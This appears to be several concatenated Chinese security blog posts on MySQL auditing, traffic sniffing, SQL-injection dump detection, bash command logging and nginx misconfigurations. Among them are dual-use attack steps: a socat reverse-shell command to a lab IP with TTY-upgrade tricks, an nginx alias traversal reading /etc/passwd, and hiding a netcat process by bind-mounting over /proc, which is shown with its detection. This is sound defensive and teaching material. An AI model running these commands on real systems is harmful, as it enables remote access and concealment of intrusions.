0x01 概述


安全的核心是数据,数据库安全也是企业安全中很重要的一点,当然数据库安全涉及到很多方面,又衍生出很多安全产品,例如数据库审计、数据库防火墙、数据库加密、数据库脱敏等,本文主要阐述企业内部Mysql DB审计记录SQL执行的实现。按照部署方式分为以下几种:

1)流量镜像

旁路部署,透明部署,不影响网络拓扑,也不会造成额外的性能消耗。

2)DB Proxy

很多公司都有Mysql中间件,用于读写分离、负载均衡、监控等等。

3)DB Server部署Agent

在每台DB Server上安装Agent获取DB流量。

4)DB审计插件

安装插件记录增删改查语句,然后采集生成日志。

这里我们介绍一下比较流行的分析工具和插件。

 

0x02 DB审计插件


1、Mariadb Audit插件

从Mariadb 10.0版本开始audit插件直接内嵌了,名称为server_audit.so,可以直接加载使用。配置过程如下:

配置yum 数据源:

cd /etc/yum.repos.d/ 

vim /etc/yum.repos.d/MariaDB.repo

写入以下内容:

# MariaDB 10.0 CentOS repository list - created 2015-08-12 10:59 UTC 

# http://mariadb.org/mariadb/repositories/ 

[mariadb] 

name = MariaDB 

baseurl = http://yum.mariadb.org/10.0/centos6-amd64 

gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDB 

gpgcheck=1

安装数据库:

yum -y install MariaDB-server MariaDB-client

启动数据库:

service mysql start

设置root密码:

mysqladmin -u root -p password 'hehe123'

安装审计插件:

MariaDB [(none)]> install plugin server_audit soname 'server_audit.so';

Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> show variables like '%audit%';

+-------------------------------+-----------------------+

| Variable_name                 | Value                 |

+-------------------------------+-----------------------+

| server_audit_events           |                       |

| server_audit_excl_users       |                       |

| server_audit_file_path        | server_audit.log      |

| server_audit_file_rotate_now  | OFF                   |

| server_audit_file_rotate_size | 1000000               |

| server_audit_file_rotations   | 9                     |

| server_audit_incl_users       |                       |

| server_audit_logging          | OFF                   |

| server_audit_mode             | 0                     |

| server_audit_output_type      | file                  |

| server_audit_query_log_limit  | 1024                  |

| server_audit_syslog_facility  | LOG_USER              |

| server_audit_syslog_ident     | mysql-server_auditing |

| server_audit_syslog_info      |                       |

| server_audit_syslog_priority  | LOG_INFO              |

+-------------------------------+-----------------------+

15 rows in set (0.00 sec)

参数说明:

server_audit_output_type:指定日志输出类型,可为SYSLOG或FILE

server_audit_logging:启动或关闭审计

server_audit_events:指定记录事件的类型,可以用逗号分隔的多个值(connect,query,table),如果开启了查询缓存(query cache),查询直接从查询缓存返回数据,将没有table记录

server_audit_file_path:如server_audit_output_type为FILE,使用该变量设置存储日志的文件,可以指定目录,默认存放在数据目录的server_audit.log文件中

server_audit_file_rotate_size:限制日志文件的大小

server_audit_file_rotations:指定日志文件的数量,如果为0日志将从不轮转

server_audit_file_rotate_now:强制日志文件轮转

server_audit_incl_users:指定哪些用户的活动将记录,connect将不受此变量影响,该变量比server_audit_excl_users 优先级高

server_audit_syslog_facility:默认为LOG_USER,指定facility

server_audit_syslog_ident:设置ident,作为每个syslog记录的一部分

server_audit_syslog_info:指定的info字符串将添加到syslog记录

server_audit_syslog_priority:定义记录日志的syslogd priority

server_audit_excl_users:该列表的用户行为将不记录,connect将不受该设置影响

server_audit_mode:标识版本,用于开发测试

 

vim /etc/my.cnf.d/server.cnf

在[server]下添加:

server_audit_events='CONNECT,QUERY,TABLE'

server_audit_logging=ON     

server_audit_file_rotate_size = 10G   

server_audit_file_path='/tmp/server_audit.log'

执行数据库操作,审计到的内容如下:

20170307 08:39:55,kafka112,root,localhost,3,67,READ,test,test,

20170307 08:39:55,kafka112,root,localhost,3,67,QUERY,test,'select * from test',0

20170307 08:40:29,kafka112,root,localhost,3,0,DISCONNECT,test,,0

20170307 08:41:06,kafka112,root,localhost,4,0,FAILED_CONNECT,,,1045

20170307 08:41:06,kafka112,root,localhost,4,0,DISCONNECT,,,0

20170307 08:41:11,kafka112,root,localhost,5,0,CONNECT,,,0

20170307 08:41:11,kafka112,root,localhost,5,69,QUERY,,'select @@version_comment limit 1',0

20170307 08:41:22,kafka112,root,localhost,5,70,QUERY,,'show variables like \'%audit%\'',0

2Mysql audit plugin

Mysql audit plugin是Mcafee开源的Mysql审计工具,支持版本为MySQL (5.1, 5.5, 5.6, 5.7),MariaDB (5.5, 10.0, 10.1) ,Platform (32 or 64 bit)。

插件地址如下:

https://bintray.com/mcafee/mysql-audit-plugin/release

根据Mysql版本下载配对的版本插件。

https://bintray.com/mcafee/mysql-audit-plugin/release/1.1.4-725?versionPath=%2Fmcafee%2Fmysql-audit-plugin%2Frelease%2F1.1.4-725#files

下载解压后,在Lib目录下找到libaudit_plugin.so

查看plugin目录

mysql> show variables like '%plugin%';

+---------------+-------------------------+

| Variable_name | Value                   |

+---------------+-------------------------+

| plugin_dir    | /usr/lib64/mysql/plugin |

+---------------+-------------------------+

1 row in set (0.00 sec)

将libaudit_plugin.so复制到Plugin_dir下

安装插件:

mysql> INSTALL PLUGIN AUDIT SONAME 'libaudit_plugin.so';

Query OK, 0 rows affected (0.35 sec)

查看版本:

mysql> show global status like '%audit%';

+------------------------+-----------+

| Variable_name          | Value     |

+------------------------+-----------+

| Audit_protocol_version | 1.0       |

| Audit_version          | 1.1.4-725 |

+------------------------+-----------+

2 rows in set (0.01 sec)

开启审计功能

mysql> set global audit_json_file = ON;

Query OK, 0 rows affected (0.00 sec)

查看配置参数

mysql> show global variables like '%audit%'\G

*************************** 1. row ***************************

Variable_name: audit_before_after

        Value: after

*************************** 2. row ***************************

Variable_name: audit_checksum

        Value:

*************************** 3. row ***************************

Variable_name: audit_client_capabilities

        Value: OFF

*************************** 4. row ***************************

Variable_name: audit_delay_cmds

        Value:

*************************** 5. row ***************************

Variable_name: audit_delay_ms

        Value: 0

*************************** 6. row ***************************

Variable_name: audit_force_record_logins

        Value: OFF

*************************** 7. row ***************************

Variable_name: audit_header_msg

        Value: ON

*************************** 8. row ***************************

Variable_name: audit_json_file

        Value: ON

*************************** 9. row ***************************

Variable_name: audit_json_file_bufsize

        Value: 1

*************************** 10. row ***************************

Variable_name: audit_json_file_flush

        Value: OFF

*************************** 11. row ***************************

Variable_name: audit_json_file_retry

        Value: 60

*************************** 12. row ***************************

Variable_name: audit_json_file_sync

        Value: 0

*************************** 13. row ***************************

Variable_name: audit_json_log_file

        Value: mysql-audit.json

*************************** 14. row ***************************

Variable_name: audit_json_socket

        Value: OFF

*************************** 15. row ***************************

Variable_name: audit_json_socket_name

        Value: /var/run/db-audit/mysql.audit__var_lib_mysql_3306

*************************** 16. row ***************************

Variable_name: audit_json_socket_retry

        Value: 10

*************************** 17. row ***************************

Variable_name: audit_json_socket_write_timeout

        Value: 1000

*************************** 18. row ***************************

Variable_name: audit_offsets

        Value:

*************************** 19. row ***************************

Variable_name: audit_offsets_by_version

        Value: ON

*************************** 20. row ***************************

Variable_name: audit_password_masking_cmds

        Value: CREATE_USER,GRANT,SET_OPTION,SLAVE_START,CREATE_SERVER,ALTER_SERVER,CHANGE_MASTER,UPDATE

*************************** 21. row ***************************

Variable_name: audit_password_masking_regex

        Value: identified(?:/\*.*?\*/|\s)*?by(?:/\*.*?\*/|\s)*?(?:password)?(?:/\*.*?\*/|\s)*?['|"](?<psw>.*?)(?<!\\)['|"]|password(?:/\*.*?\*/|\s)*?\((?:/\*.*?\*/|\s)*?['|"](?<psw>.*?)(?<!\\)['|"](?:/\*.*?\*/|\s)*?\)|password(?:/\*.*?\*/|\s)*?(?:for(?:/\*.*?\*/|\s)*?\S+?)?(?:/\*.*?\*/|\s)*?=(?:/\*.*?\*/|\s)*?['|"](?<psw>.*?)(?<!\\)['|"]|password(?:/\*.*?\*/|\s)*?['|"](?<psw>.*?)(?<!\\)['|"]

*************************** 22. row ***************************

Variable_name: audit_record_cmds

        Value:

*************************** 23. row ***************************

Variable_name: audit_record_objs

        Value:

*************************** 24. row ***************************

Variable_name: audit_socket_creds

        Value: ON

*************************** 25. row ***************************

Variable_name: audit_uninstall_plugin

        Value: OFF

*************************** 26. row ***************************

Variable_name: audit_validate_checksum

        Value: ON

*************************** 27. row ***************************

Variable_name: audit_validate_offsets_extended

        Value: ON

*************************** 28. row ***************************

Variable_name: audit_whitelist_cmds

        Value: BEGIN,COMMIT,PING

*************************** 29. row ***************************

Variable_name: audit_whitelist_users

        Value:

29 rows in set (0.00 sec)

常用的参数:

1)audit_json_file

是否开启audit功能。

2)audit_json_log_file

日志文件路径。默认会在mysql data目录下,查看Data目录路径:

mysql> show variables like ‘datadir’;

+—————+—————–+

| Variable_name | Value           |

+—————+—————–+

| datadir       | /var/lib/mysql/ |

+—————+—————–+

1 row in set (0.00 sec)

3)audit_record_cmds

记录的操作类型,默认为记录所有命令。

mysql> set global audit_record_cmds=’select,insert,update,delete’;

Query OK, 0 rows affected (0.00 sec)

修改为默认

mysql> set global audit_record_cmds = NULL;

Query OK, 0 rows affected (0.00 sec)

4) audit_record_objs

audit记录操作的对象,默认为所有。

mysql> set global audit_record_objs = ‘test.*’;

Query OK, 0 rows affected (0.00 sec)

修改为默认

mysql> set global audit_record_objs = NULL;

Query OK, 0 rows affected (0.00 sec)

5) audit_whitelist_users

用户白名单。

 

这里测试一下,Mysql执行show databases;,日志如下:

{"msg-type":"activity","date":"1502854234067","thread-id":"2","query-id":"15","user":"root","priv_user":"root","host":"localhost","pid":"14373","os_user":"root","appname":"mysql","rows":"5","cmd":"show_databases","objects":[{"db":"information_schema","name":"/tmp/#sql_37a1_0","obj_type":"TABLE"}],"query":"show databases"}

 

0x03 流量镜像


镜像DB交换机接口双向流量,不影响当前网络架构,这里我们介绍两种方式。

1、Packetbeat

Packetbeat通过嗅探应用服务器之间的网络通讯,来解码应用层协议类型如HTTP、MySQL、redis等等,关联请求与响应,并记录每个事务有意义的字段。我们可以部署在Mysql Server上,也可以部署在流量镜像服务器。部署方式如下:

yum -y install libpcap

./packetbeat -c packetbeat.yml

packetbeat.yml为配置文件

packetbeat.template.json为mapping文件

测试:

mysql> select host,user from mysql.user;

+-----------+------+

| host      | user |

+-----------+------+

| %         | root |

| %         | soc  |

| 127.0.0.1 | root |

| localhost |      |

| localhost | soc  |

+-----------+------+

5 rows in set (0.00 sec)

输出到Elasticsearch内容如下:

query:执行的SQL语句

num_fields:返回的字段数

num_rows:查询结果行数

 

2、MySQL Sniffer

MySQL Sniffer 是一个基于 MySQL 协议的抓包工具,实时抓取 MySQLServer 端或 Client 端请求,并格式化输出。输出内容包括访问时间、访问用户、来源 IP、访问 Database、命令耗时、返回数据行数、执行语句等。有批量抓取多个端口,后台运行,日志分割等多种使用方式,操作便捷,输出友好。

安装依赖:

yum install glib2-devel libpcap-devel libnet-devel

项目下载地址:

https://github.com/Qihoo360/mysql-sniffer

安装步骤:

cd mysql-sniffer

mkdir proj

cd proj

cmake ../

make

cd bin/

参数如下:

[root@server120 bin]# ./mysql-sniffer -h

Usage ./mysql-sniffer [-d] -i eth0 -p 3306,3307,3308 -l /var/log/mysql-sniffer/ -e stderr

         [-d] -i eth0 -r 3000-4000

         -d daemon mode.

         -s how often to split the log file(minute, eg. 1440). if less than 0, split log everyday

         -i interface. Default to eth0

         -p port, default to 3306. Multiple ports should be splited by ','. eg. 3306,3307

            this option has no effect when -f is set.

         -r port range, Don't use -r and -p at the same time

         -l query log DIRECTORY. Make sure that the directory is accessible. Default to stdout.

         -e error log FILENAME or 'stderr'. if set to /dev/null, runtime error will not be recorded

         -f filename. use pcap file instead capturing the network interface

         -w white list. dont capture the port. Multiple ports should be splited by ','.

         -t truncation length. truncate long query if it's longer than specified length. Less than 0 means no truncation

         -n keeping tcp stream count, if not set, default is 65536. if active tcp count is larger than the specified count, mysql-sniffer will remove the oldest one

测试:

[root@server120 bin]# ./mysql-sniffer -i lo -p 3306

2017-08-16 13:56:04  root     127.0.0.1     NULL              0ms              1  select @@version_comment limit 1

2017-08-16 14:01:56  root     127.0.0.1     NULL              0ms             1  SELECT DATABASE()

2017-08-16 14:01:56  root     127.0.0.1     mysql            0ms              0  use mysql

2017-08-16 14:01:56  root     127.0.0.1     mysql            0ms              5  show databases

2017-08-16 14:01:56  root     127.0.0.1     mysql            0ms            23 show tables

2017-08-16 14:02:04  root     127.0.0.1     mysql            0ms              8  select * from user

输出格式为:时间,访问用户,来源 IP,访问 Database,命令耗时,返回数据行数,执行语句。

保存日志可以用filebeat采集:

[root@server120 bin]# ./mysql-sniffer -i eth0 -p 3306 -l /tmp/

[root@server120 tmp]# head -n 5 3306.log

2017-08-16 14:04:58  root     192.168.190.201       NULL              0ms              0  SET NAMES utf8

2017-08-16 14:04:58  root     192.168.190.201       NULL              0ms              2  SHOW VARIABLES LIKE 'lower_case_%'

2017-08-16 14:04:58  root     192.168.190.201       NULL              0ms              1  SHOW VARIABLES LIKE 'profiling'

2017-08-16 14:04:58  root     192.168.190.201       NULL              0ms              5  SHOW DATABASES

2017-08-16 14:05:20  root     192.168.190.201       NULL              0ms              0  SET NAMES utf8

-l 指定日志输出路径,日志文件将以 port.log 命名。

需要注意的是:

只能抓取新建的链接,如果是之前创建的链接将获取不到用户名和库名,并有一定几率丢包。

PS:

同事在使用DVWA测试的时候发现抓不到3306的包,原来是因为DVWA配置的数据库源是localhost,其实localhost和127.0.0.1不一样。

localhot不经网卡传输,它不受网络防火墙和网卡相关的的限制。

127.0.0.1是通过网卡传输,依赖网卡,并受到网络防火墙和网卡相关的限制。

 

0x04 拖库检测


根据SQL注入的特征,我们可以从以下角度分析:

1)QPS基线,例如通常凌晨的业务量小,QPS会比较低,而如果日志数突然增多,那么很有可能存在拖库行为。

2)特征匹配,这里就有些类似于WAF,例如通常Mysql注入会查询Information_schema,SQLMAP托库语句使用大量IFNULL、ORD、MID、CAST函数,时间盲注中用到的sleep和benchmark且命令耗时长,报错注入中用到的floor和updatexml等等。日志使用Logstash采集的时候,命中相关规则则打标,使用ElastALert监控单位时间内异常日志数量超过阈值则告警。

当然这是通用做法,如果对业务熟悉之后可以添加更细致准确的检测规则。

 

 

最近nginx官网公布了nginx1.13.4最新的ngx_http_mirror_module模块,利用mirror模块,业务可以将线上实时访问流量拷贝至其他环境,该流量可用于压测或者旁路做一些检测。

mirror模块配置分为两部分,源地址和镜像地址配置,配置位置可以为nginx配置文件的http, server, location上下文,配置示例为:

# original配置
location / {
    mirror /mirror;
    mirror_request_body off;
    proxy_pass http://127.0.0.1:9502;
}

# mirror配置
location /mirror {
    internal;
    proxy_pass http://127.0.0.1:8081$request_uri;
    proxy_set_header X-Original-URI $request_uri;
}

 

1)original配置
location /指定了源uri为/
mirror /mirror指定镜像uri为/mirror
mirror_request_body off | on 指定是否镜像请求body部分,此选项与proxy_request_buffering、fastcgi_request_buffering、scgi_request_buffering和 uwsgi_request_buffering冲突,一旦开启mirror_request_body为on,则请求自动缓存;
proxy_pass 指定上游server的地址

2)mirror配置
internal 指定此location只能被“内部的”请求调用,外部的调用请求会返回”Not found” (404)
proxy_pass 指定上游server的地址
proxy_set_header 设置镜像流量的头部

整个请求流程为:

1)curl向nginx 80端口发起GET / HTTP请求
2)nginx将请求转发至upstream 9502端口的original PHP脚本,nginx本地端口为51637
3)nginx将请求镜像发至upstream 8081端口的mirror PHP脚本,nginx本地端口为51638
4)original发送响应response to client至nginx
5)nginx将响应转发至curl,curl将响应展示到终端
6)mirror将响应发送至nginx,nginx丢弃。

参考文章:
https://segmentfault.com/p/1210000010610500/read

 

1)Python pty模块
对于已经安装了python的系统,我们可以使用python提供的pty模块命令如下:
python -c ‘import pty; pty.spawn(“/bin/bash”)’
测试如下:

[root@server144 src]# ./netcat -vv -l -p 2345
Listening on any address 2345 (dbm)
Connection from 192.168.192.120:42425
whoami
root
python -c 'import pty; pty.spawn("/bin/bash")' 
[root@server120 src]# cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin

不过还是无法使用向上使用历史命令、Ctrl+C、Tab补全。

2)使用socat
监听命令:

socat file:`tty`,raw,echo=0 tcp-listen:4444

反弹命令:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.192.144:4444

测试如下:

[root@server144 src]# socat file:`tty`,raw,echo=0 tcp-listen:4444 
[root@server120 src]# whoami
root
[root@server120 src]# sleep 5
^C
[root@server120 src]#

支持向上使用历史命令、Ctrl+C、Tab补全。

3)使用stty选项
刚才测试发现第一种方法不支持向上使用历史命令、Ctrl+C、Tab补全,可使用stty选项升级。
首先和第一种方法一样

[root@server144 src]# ./netcat -vv -l -p 2345
Listening on any address 2345 (dbm)
Connection from 192.168.192.120:42450
python -c 'import pty; pty.spawn("/bin/bash")' 
[root@server120 src]# ^Z
[1]+ Stopped ./netcat -vv -l -p 2345
[root@server144 src]# echo $TERM
xterm
[root@server144 src]# stty -a
speed 38400 baud; rows 31; columns 104; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>;
start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; flush = ^O; min = 1; time = 0;
-parenb -parodd cs8 -hupcl -cstopb cread -clocal -crtscts -cdtrdsr
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel
-iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke

所需的信息是TERM类型(”xterm”)和当前TTY的大小(31行;104列)

[root@server144 src]# stty raw -echo

输入fg并执行(这里看不到输入,使用raw stty,可能看不到下一个命令,但是当你键入时,它们则会被执行。)

$ reset
$ export SHELL=bash
$ export TERM=xterm
$ stty rows 31 columns 104

然后就能支持向上使用历史命令、Ctrl+C、Tab补全。

参考文章:
http://www.freebuf.com/news/142195.html

0x01 概述


Bash命令收集主要是用于在没有堡垒机和跳板机情况下实现运维操作集中审计,另外就是针对一些攻击者入侵服务器后反弹Bash或者sh等做监控。这里提供两种通过Syslog收集的方式。

0x02 通过修改Bash源码发送Syslog


从bash4.1 版本开始,bash开始支持Rsyslog,下载bash-4.4,下载地址: https://ftp.gnu.org/gnu/bash/

具体步骤如下:
1)
修改bashhist.c:
修改771行

syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "PID=%d UID=%d User=%s Cmd=%s", getpid(), current_user.uid, current_user.user_name, line);

修改776行

syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "PID=%d UID=%d User=%s Cmd=%s", getpid(), current_user.uid, current_user.user_name, trunc);

2)
再修改config-top.h
去掉116行/**/

#define SYSLOG_HISTORY 
#if defined (SYSLOG_HISTORY)
# define SYSLOG_FACILITY LOG_LOCAL6
# define SYSLOG_LEVEL LOG_NOTICE
# define OPENLOG_OPTS LOG_PID
#endif

syslog的FACILITY为 LOCAL6,日志级别为NOTICE
3)

./configure --prefix=/usr/local/bash && make && make install 
[root@localhost ~]# cp /bin/bash /bin/bashbak 
[root@localhost ~]# \cp -f /usr/local/bash/bin/bash /bin/bash

4)
修改rsyslog配置,这里我们先输出到本地测试一下

[root@zaojiasys_31 admin]# touch /var/log/bash.log
[root@zaojiasys_31 admin]# vim /etc/rsyslog.conf

添加local6.notice /var/log/bash.log

[root@zaojiasys_31 admin]# service rsyslog restart
[root@zaojiasys_31 admin]# tail -f /var/log/bash.log 
Jul 25 16:22:15 localhost bash[18540]: PID=18540 UID=0 User=root Cmd=tail -f /var/log/bash.log 
Jul 25 16:22:21 localhost bash[19033]: PID=19033 UID=0 User=root Cmd=whoami

5)
[root@zaojiasys_31 admin]# vim /etc/rsyslog.conf
修改*.info;mail.none;authpriv.none;cron.none;local6.none; /var/log/messages
添加local6.notice @10.110.1.33:3514

使用ELK,首先配置logstash

input {
	syslog{  
		port => "3514"  
		type => "bash"
	}  
}

filter {
    grok{
        match => {
            "message" => "PID=%{NUMBER:processid} UID=%{NUMBER:uid} User=%{WORD:user} Cmd=%{GREEDYDATA:cmd}"
        }
    }
    mutate {
        remove_field => [ "message" ]
    }
}

output {
   if "_grokparsefailure" not in [tags] {
        elasticsearch {
            hosts => "10.110.1.33:9200"
            index => "bash_%{+YYYY.MM.dd}"
        }
    }
}

Elasticsearch 添加模板

curl -XPUT 10.59.0.248:9200/_template/template_bash -d '
{
   "template": "bash_*", 
   "order" : 10,
   "settings" : {
      "number_of_shards": 5,
      "number_of_replicas": 0
   },
   "mappings" : {
    "_default_" : {
      "_all" : {"enabled" : true, "omit_norms" : true},
      "properties" : {
        "host": { "type": "keyword"},
        "cmd": { "type": "keyword"},
        "user": { "type": "keyword"},
        "uid": { "type": "integer"},
        "processid": { "type": "integer"}
      }
    }
  }
}

查看Kibana

[root@server120 ~]# ll /bin/sh
lrwxrwxrwx. 1 root root 4 3月 21 2016 /bin/sh -> bash

/bin/sh是软链到/bin/bash的,/bin/sh也可以审计到。
另外禁用其他的shell:

# chmod 750 /bin/csh
# chmod 750 /bin/tcsh
# chmod 750 /bin/dash

PS:
需要注意GLIBC的版本如果不一致的话,那么启动Bash就会有问题。

[root@localhost ~]# /bin/bash
/bin/bash: /lib64/libc.so.6: version `GLIBC_2.14' not found (required by /bin/bash)

0x03 通过Logger发送Syslog


客户端具体配置如下:

在/etc/profile中添加行:

[ -f /etc/zb_bashrc ] && . /etc/zb_bashrc

/etc/zb_bashrc的内容如下:

if [ "$BASH" ]; then

    SSH_USER=$(who -mu  |awk '{print $1}')

    if [ -z "$SSH_USER" ]; then

        SSH_USER="-"

    fi



    SSH_CLIENT_IP=$(echo $SSH_CONNECTION |awk '{print $1}')

       if [ -z "$SSH_CLIENT_IP" ]; then

              SSH_CLIENT_IP="-"

       fi



    SSH_SERVER_IP=$(echo $SSH_CONNECTION |awk '{print $3}')

       if [ -z "$SSH_SERVER_IP" ]; then

              SSH_SERVER_IP="-"

       fi



    if [ -f "$HOME/.bash_history" ]; then

        export HISTFILE="$HOME/.bash_history"

    else

        touch $HOME/.bash_history

        chmod 600 $HOME/.bash_history

        export HISTFILE="$HOME/.bash_history"

    fi

    export HISTSIZE=100

    export HISTCONTROL=""

    export HISTIGNORE=""

    export HISTCMD

    export HISTTIMEFORMAT="%Y-%m-%d %T :: "

    PROMPT_COMMAND='history -a;history 1 | xargs -0 -i logger -p local6.notice $SSH_CLIENT_IP $SSH_SERVER_IP $SSH_USER $USER{}'

    readonly PROMPT_COMMAND

    readonly HISTTIMEFORMAT

    readonly HISTSIZE

    readonly HISTFILE

    readonly HISTIGNORE

    readonly HISTCONTROL

fi

执行source /etc/profile

修改rsysLog的配置

添加local6.notice @10.211.0.107

修改*.info;mail.none;authpriv.none;cron.none;local6.none                /var/log/messages

service rsyslog restart

 

期间遇到的问题:

1、日志重复收取

如下

增加一条配置:

$RepeatedMsgReduction on

需要注意该条配置需要放到发送syslog配置条目上面才能生效。

重复的日志会提示last message repeated X times,然后在logstash加一条配置,把该条都drop掉。

if ( "last message" in [message] ) {

       drop{}

}

最后Logstash的配置文件如下:

input {

       udp { 

          port => "514" 

          workers => "10"

       } 

}

filter {

       if ("last message" in [message]) {

              drop{}

       }

    dissect {

        mapping => {

            "message" => '<%{pri}>%{} %{} %{} %{} %{}: %{client_ip} %{server_ip} %{ssh_user} %{user}  %{line}  %{timestamp} :: %{command}'

        }

    }

       date {

           match => ["timestamp", "yyyy-MM-dd HH:mm:ss"]

           target => "@timestamp"

           "locale" => "en"

           timezone => "UTC"

       }

}

output {

       redis {

              host => "127.0.0.1"

              data_type => "list"

              key => "command"

              db => "2"

       }

}

2、sh执行命令无法记录

其实/bin/sh是软链到的/bin/bash,但是不会加载配置文件。

 

0x04 SaltStack批量部署


推荐第一种,模板如下:

install_bash:

  cmd.run:

    - name: tar zxvf bash.tar.gz && cd bash && ./configure --prefix=/usr/local/bash && make && make install

    - cwd: /root/Downloads

    - unless: test -e /usr/local/bash/bin/bash

    - require:

      - file: /root/Downloads/bash.tar.gz



/root/Downloads/bash.tar.gz:

  file.managed:

    - source: salt://audit/bash.tar.gz

    - user: root

    - group: root

    - mode: 755

    - template: jinja

    - require:

      - file: /root/Downloads



bak_bash:

  cmd.run:

    - name: cp /bin/bash /bin/bashbak

    - unless: test -e /bin/bashbak

    - require:

      - cmd: install_bash



cp_bash:

  cmd.run:

    - name: \cp -f /usr/local/bash/bin/bash /bin/bash

    - require:

      - cmd: bak_bash



/etc/rsyslog.conf:

  file.append:

    - text: "local6.notice                                               @10.59.0.58:3514"

    - unless: grep '10.59.0.58' /etc/rsyslog.conf



rsyslog:

  service.running:

    - enable: True

    - restart: True

    - watch:

      - file: /etc/rsyslog.conf

参考文章:

http://os.51cto.com/art/201102/244661.htm
http://www.freebuf.com/articles/system/140543.html
http://www.freebuf.com/articles/system/135845.html

1、CRLF
需要注意的地方:
a)rewrite, return, add_header, proxy_set_header or proxy_pass中
b)使用了$uri和$document_uri,因为这两个参数会进行URL解码,正确配置应该是$request_uri。

c)变量,例如(?P<myvar>[^.]+).

这里先测试一下$uri
添加一条配置

location /sectest {
  return 302 https://$host$uri;
}

结果如下:

 

修改配置为

location /sectest {
  return 302 https://$host$request_uri;
}

结果如下:

测试一下匹配变量导致的CRLF
添加

    location ~ /v1/((?<action>[^.]*)\.json)?$ {
        add_header X-Action $action;
        return 200 "OK";
    }

结果如下:

应该修改正则为

    location ~ /v1/((?<action>[^.\s]*)\.json)?$ {
        add_header X-Action $action;
        return 200 "OK";
    }

2、HTTP头覆盖
如果location有add_header,那么以location为准。如果location没有add_header,则继承Http和server块的add_header内容。
官方配置例子如下:

server {
  listen 80;
  add_header X-Frame-Options "DENY" always;
  location / {
      return 200 "index";
  }

  location /new-headers {
    # Add special cache control
    add_header Cache-Control "no-cache, no-store, max-age=0, must-revalidate" always;
    add_header Pragma "no-cache" always;

    return 200 "new-headers";
  }
}

如果访问/,响应头中有X-Frame-Options

GET / HTTP/1.0

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Mon, 09 Jan 2017 19:28:33 GMT
Content-Type: application/octet-stream
Content-Length: 5
Connection: close
X-Frame-Options: DENY

index

如果访问/new-headers,响应头中没有X-Frame-Options

GET /new-headers HTTP/1.0


HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Mon, 09 Jan 2017 19:29:46 GMT
Content-Type: application/octet-stream
Content-Length: 11
Connection: close
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

new-headers

 

3、alias导致的任意文件读取
错误配置示例如下:

location /files {
  alias /home/;
}

这里如果访问http://example.com/files/readme.txt,就可以获取/home/readme.txt文件。
如果访问http://example.com/files../etc/passwd就可以读取/etc/passwd

需要注意,这里只能添加一个../,也就是跳到上层的目录,这里我修改nginx的配置如下:

        location /files {
                alias /home/elk/;
        }

修复建议:
location和alias的最后必须都带/或者都不带/

Gixy介绍
开源程序https://github.com/yandex/gixy用来检测Nginx配置中存在的问题
安装使用:

pip install gixy
gixy /etc/nginx/nginx.conf

检查项如下:

[ssrf] Server Side Request Forgery
[http_splitting] HTTP Splitting
[origins] Problems with referrer/origin validation
[add_header_redefinition] Redefining of response headers by "add_header" directive
[host_spoofing] Request's Host header forgery
[valid_referers] none in valid_referers
[add_header_multiline] Multiline response headers

参考文章:
https://www.leavesongs.com/PENETRATION/nginx-insecure-configuration.html
https://mp.weixin.qq.com/s?__biz=MzIzOTQ5NjUzOQ==&mid=2247483699&idx=1&sn=6f0394df7be9aafd65c12002c2bb4f10&chksm=e9287d07de5ff41165757618d932021e1b8e036fd0c1b8305e38ad693097cf05e37b76928eb5&mpshare=1&scene=23&srcid=0714xbWwfcwuCe7XA9oIQryo#rd

[root@server120 init]# nc -vv -l -p 2345 &
[root@server120 init]# ps axu | grep 3533 | grep -v grep
root 3533 0.0 0.0 103020 792 pts/1 S 13:46 0:00 nc -vv -l -p 2345
[root@server120 tmp]# netstat -antlp | grep 2345
tcp 0 0 0.0.0.0:2345 0.0.0.0:* LISTEN 3533/nc 
[root@server120 tmp]# lsof -i:2345
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
nc 3533 root 3u IPv4 1753126 0t0 TCP *:dbm (LISTEN)

创建文件夹

[root@server120 tmp]# mkdir /tmp/empty
[root@server120 tmp]# mount --bind /tmp/empty/ /proc/3533
mount: block device /tmp/empty is write-protected, mounting read-only
mount: cannot mount block device /tmp/empty read-only

挂不上,一想是因为前几天测试sudo提权的时候把selinux打开了

[root@server120 tmp]# getenforce 
Enforcing
[root@server120 tmp]# setenforce 0
[root@server120 tmp]# mount --bind /tmp/empty/ /proc/3533

然后再看一下,ps和netstat看不到了。

[root@server120 tmp]# ps axu | grep 3533 | grep -v grep
[root@server120 tmp]# netstat -antlp | grep 2345
tcp 0 0 0.0.0.0:2345 0.0.0.0:* LISTEN - 
[root@server120 tmp]# lsof -i:2345
[root@server120 tmp]#

大小变成了4096

[root@server120 tmp]# ls -ld /proc/3533
drwxr-xr-x. 2 root root 4096 7月 21 14:02 /proc/3533

修复:

[root@server120 tmp]# umount /proc/3533

检查mount:
1)/proc/mounts

[root@server120 tmp]# cat /proc/mounts | grep 3533
/dev/mapper/vg_template1-lv_root /proc/3533 ext4 rw,seclabel,relatime,barrier=1,data=ordered 0 0

2)/proc/$$/mountinfo

[root@server120 tmp]# cat /proc/$$/mountinfo | grep 3533
29 16 253:0 /tmp/empty /proc/3533 rw,relatime - ext4 /dev/mapper/vg_template1-lv_root rw,seclabel,barrier=1,data=ordered

3)mount -l

[root@server120 tmp]# mount -l | grep 3533
/tmp/empty on /proc/3533 type none (rw,bind)

